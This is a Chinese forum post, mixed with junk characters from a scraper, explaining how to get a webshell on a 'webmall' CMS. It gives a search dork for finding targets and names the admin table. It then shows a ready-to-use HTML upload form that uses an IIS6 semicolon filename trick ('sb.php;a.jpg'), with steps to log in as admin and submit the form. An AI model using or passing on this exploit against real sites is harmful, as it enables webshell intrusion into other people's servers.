关键字:inurl:webmall/detail.php?id1 o: j0 x3 |( A
2 q. W5 \$ P# D! V: t2 Q
数据表:pwn_base_admin
& J5 j+ |5 b$ ^ H8 V
; g" Y: G6 o# b4 Q- t% X Q# T! w关于拿shell
: ~" d" z) _- Q1 W : b( K3 z; w% Q0 D& g" i8 D; s' a
首先登录后台admin.php' K$ j6 c' ` q: R
$ ]0 O5 a/ Q& z( q2 _3 @
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。
' V- X1 j/ X: j4 B+ Q. b换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg, |9 o& ]7 F2 r
然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的: o Z$ z9 M( T5 E
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> ' f+ }0 i P; v( |
<input type="text" name="fileName" value="sb.php;a.jpg" />
. ?1 K; x1 P5 n# \% h2 m# h! d- r3 V<input type="hidden" name="attachPath" value="news/pics/" /> + k" w3 I4 _2 j" c
<input type="file" name="fileData" size="14" /></td>
1 K5 L8 }! |' G+ l2 T<input type="submit" name="button" value="确定" />
% s9 Q, d8 R, @8 ^</form>0 y- \# ?( J% \* `$ c+ Y
5 U v4 P5 S) f6 W
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。* N3 ^1 e# z; G1 r7 L8 F
6 L' r5 x8 v# P. ^. R$ K1 o |